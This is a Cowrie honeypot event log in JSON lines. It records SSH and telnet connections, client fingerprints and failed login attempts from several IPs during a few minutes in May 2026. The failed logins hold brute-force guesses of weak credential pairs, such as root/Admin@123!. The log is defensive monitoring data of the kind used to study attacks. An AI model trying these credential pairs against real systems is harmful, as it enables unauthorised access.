{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:25:04.593871Z","src_ip":"120.28.109.188","session":"8d0f42253d56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":1365,"dst_ip":"10.17.0.5","dst_port":23,"session":"cff3f3a4cda7","protocol":"telnet","message":"New connection: 212.55.149.117:1365 (10.17.0.5:23) [session: cff3f3a4cda7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:25:29.249419Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":49418,"dst_ip":"159.203.135.109","dst_port":23,"session":"397d57c9e7ff","protocol":"telnet","message":"New connection: 128.199.8.54:49418 (159.203.135.109:23) [session: 397d57c9e7ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:25:30.702163Z"}
{"eventid":"cowrie.session.connect","src_ip":"120.28.109.188","src_port":44848,"dst_ip":"159.203.135.109","dst_port":22,"session":"086cc9b0d7a3","protocol":"ssh","message":"New connection: 120.28.109.188:44848 (159.203.135.109:22) [session: 086cc9b0d7a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:26:02.813076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:26:02.827717Z","src_ip":"120.28.109.188","session":"086cc9b0d7a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:26:03.087400Z","src_ip":"120.28.109.188","session":"086cc9b0d7a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123qweasd","message":"login attempt [ubuntu/123qweasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:26:04.163346Z","src_ip":"120.28.109.188","session":"086cc9b0d7a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.304222106933594,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:26:05.006286Z","src_ip":"128.199.8.54","session":"397d57c9e7ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:26:05.425822Z","src_ip":"120.28.109.188","session":"086cc9b0d7a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":54646,"dst_ip":"10.17.0.5","dst_port":23,"session":"568483c36296","protocol":"telnet","message":"New connection: 212.55.149.117:54646 (10.17.0.5:23) [session: 568483c36296]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:26:17.543688Z"}
{"eventid":"cowrie.session.closed","duration":59.65150332450867,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:26:28.900804Z","src_ip":"212.55.149.117","session":"cff3f3a4cda7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":43662,"dst_ip":"10.17.0.5","dst_port":22,"session":"31ba5e70bba5","protocol":"ssh","message":"New connection: 103.15.226.202:43662 (10.17.0.5:22) [session: 31ba5e70bba5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:26:57.381348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:26:57.385516Z","src_ip":"103.15.226.202","session":"31ba5e70bba5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:26:57.633984Z","src_ip":"103.15.226.202","session":"31ba5e70bba5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password1","message":"login attempt [root/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:26:58.384847Z","src_ip":"103.15.226.202","session":"31ba5e70bba5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:26:59.638046Z","src_ip":"103.15.226.202","session":"31ba5e70bba5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.28.109.188","src_port":38070,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0d20c9cbd29","protocol":"ssh","message":"New connection: 120.28.109.188:38070 (159.203.135.109:22) [session: a0d20c9cbd29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:27:02.321288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:27:02.325309Z","src_ip":"120.28.109.188","session":"a0d20c9cbd29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:27:02.586891Z","src_ip":"120.28.109.188","session":"a0d20c9cbd29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"zaq12wsx","message":"login attempt [ubuntu/zaq12wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:27:03.655933Z","src_ip":"120.28.109.188","session":"a0d20c9cbd29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:27:04.919684Z","src_ip":"120.28.109.188","session":"a0d20c9cbd29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.28.109.188","src_port":37618,"dst_ip":"159.203.135.109","dst_port":22,"session":"a28b31a4ce5a","protocol":"ssh","message":"New connection: 120.28.109.188:37618 (159.203.135.109:22) [session: a28b31a4ce5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:28:01.972665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:28:01.979610Z","src_ip":"120.28.109.188","session":"a28b31a4ce5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:28:02.257777Z","src_ip":"120.28.109.188","session":"a28b31a4ce5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testpass","message":"login attempt [testuser/testpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:28:03.345984Z","src_ip":"120.28.109.188","session":"a28b31a4ce5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:28:04.609374Z","src_ip":"120.28.109.188","session":"a28b31a4ce5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":46214,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2205133fe21","protocol":"telnet","message":"New connection: 128.199.8.54:46214 (159.203.135.109:23) [session: a2205133fe21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:28:11.807003Z"}
{"eventid":"cowrie.session.closed","duration":120.00658750534058,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:28:17.550046Z","src_ip":"212.55.149.117","session":"568483c36296","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.635674715042114,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:28:44.442587Z","src_ip":"128.199.8.54","session":"a2205133fe21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"120.28.109.188","src_port":56042,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c94d0e3ae35","protocol":"ssh","message":"New connection: 120.28.109.188:56042 (159.203.135.109:22) [session: 3c94d0e3ae35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:29:04.132939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:29:04.137269Z","src_ip":"120.28.109.188","session":"3c94d0e3ae35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:29:04.398838Z","src_ip":"120.28.109.188","session":"3c94d0e3ae35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Huawei12#$","message":"login attempt [user/Huawei12#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:29:05.474491Z","src_ip":"120.28.109.188","session":"3c94d0e3ae35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:29:06.738779Z","src_ip":"120.28.109.188","session":"3c94d0e3ae35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":28931,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3ba8fcb91ee","protocol":"telnet","message":"New connection: 212.55.149.117:28931 (10.17.0.5:23) [session: c3ba8fcb91ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:29:09.119856Z"}
{"eventid":"cowrie.session.closed","duration":61.02966570854187,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:30:10.149415Z","src_ip":"212.55.149.117","session":"c3ba8fcb91ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"120.28.109.188","src_port":39694,"dst_ip":"159.203.135.109","dst_port":22,"session":"177f3080b214","protocol":"ssh","message":"New connection: 120.28.109.188:39694 (159.203.135.109:22) [session: 177f3080b214]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:30:11.066491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:30:11.071653Z","src_ip":"120.28.109.188","session":"177f3080b214","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:30:11.332997Z","src_ip":"120.28.109.188","session":"177f3080b214","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ftpuser","message":"login attempt [root/ftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:30:12.400931Z","src_ip":"120.28.109.188","session":"177f3080b214","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:30:13.663946Z","src_ip":"120.28.109.188","session":"177f3080b214","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":46038,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a6e7cd9f06d","protocol":"ssh","message":"New connection: 103.15.226.202:46038 (10.17.0.5:22) [session: 1a6e7cd9f06d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:30:33.530114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:30:33.535608Z","src_ip":"103.15.226.202","session":"1a6e7cd9f06d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:30:33.774995Z","src_ip":"103.15.226.202","session":"1a6e7cd9f06d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123!","message":"login attempt [root/Admin@123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:30:34.531292Z","src_ip":"103.15.226.202","session":"1a6e7cd9f06d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:30:35.773933Z","src_ip":"103.15.226.202","session":"1a6e7cd9f06d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.230.230.20","src_port":61834,"dst_ip":"159.203.135.109","dst_port":23,"session":"b24770ce3196","protocol":"telnet","message":"New connection: 88.230.230.20:61834 (159.203.135.109:23) [session: b24770ce3196]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:31:08.488097Z"}
{"eventid":"cowrie.session.connect","src_ip":"120.28.109.188","src_port":37814,"dst_ip":"159.203.135.109","dst_port":22,"session":"47474399bbfb","protocol":"ssh","message":"New connection: 120.28.109.188:37814 (159.203.135.109:22) [session: 47474399bbfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:31:12.125827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:31:12.131287Z","src_ip":"120.28.109.188","session":"47474399bbfb","protocol":"ssh"}
